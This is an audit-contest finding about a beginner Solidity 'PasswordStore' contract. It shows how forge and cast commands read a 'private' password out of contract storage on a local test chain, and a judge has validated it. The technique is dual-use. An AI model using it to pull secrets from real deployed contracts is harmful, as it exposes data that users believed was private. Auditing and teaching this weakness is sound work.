First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Nothing on the blockchain is truly secret.

silvana

Summary

The contract assumes a stored password would not be visible by anyone but the owner. However, nothing on the blockchain is truly secret.

The s_password is part of the contract's state and as such can be retrieved using tools freely available on the Internet.

For the local (anvil) case forge and cast tools can be used.

Vulnerability Details

The steps to retrieve the value of the stored password follow:

  1. Find out the slot number of the variable we are interested in. In the concrete case we are interested in s_password which happens to be stored in slot 1.

$ forge inspect PasswordStore storageLayout
{
"storage": [
{
"astId": 43436,
...
},
{
"astId": 43438,
"contract": "src/PasswordStore.sol:PasswordStore",
"label": "s_password",
"offset": 0,
"slot": "1",
"type": "t_string_storage"
}
],
"types": {
...
}
}

  1. The contract is deployed on address 0x5FbDB2315678afecb367f032d93F642f64180aa3. With the cast tool we can query the value of every slot and decode the result:

$ cast storage 0x5FbDB2315678afecb367f032d93F642f64180aa3 1
0x6d7950617373776f726400000000000000000000000000000000000000000014
$ cast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014
myPassword

We can see the password in plaintext

myPassword

Impact

High

Tools Used

Manual review was used.

No automatic tools for code analysis were used.

Standard tools described in https://book.getfoundry.sh/ were used to deploy, test and query the contract.

Recommendations

Don't use public blockchain for password storage.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.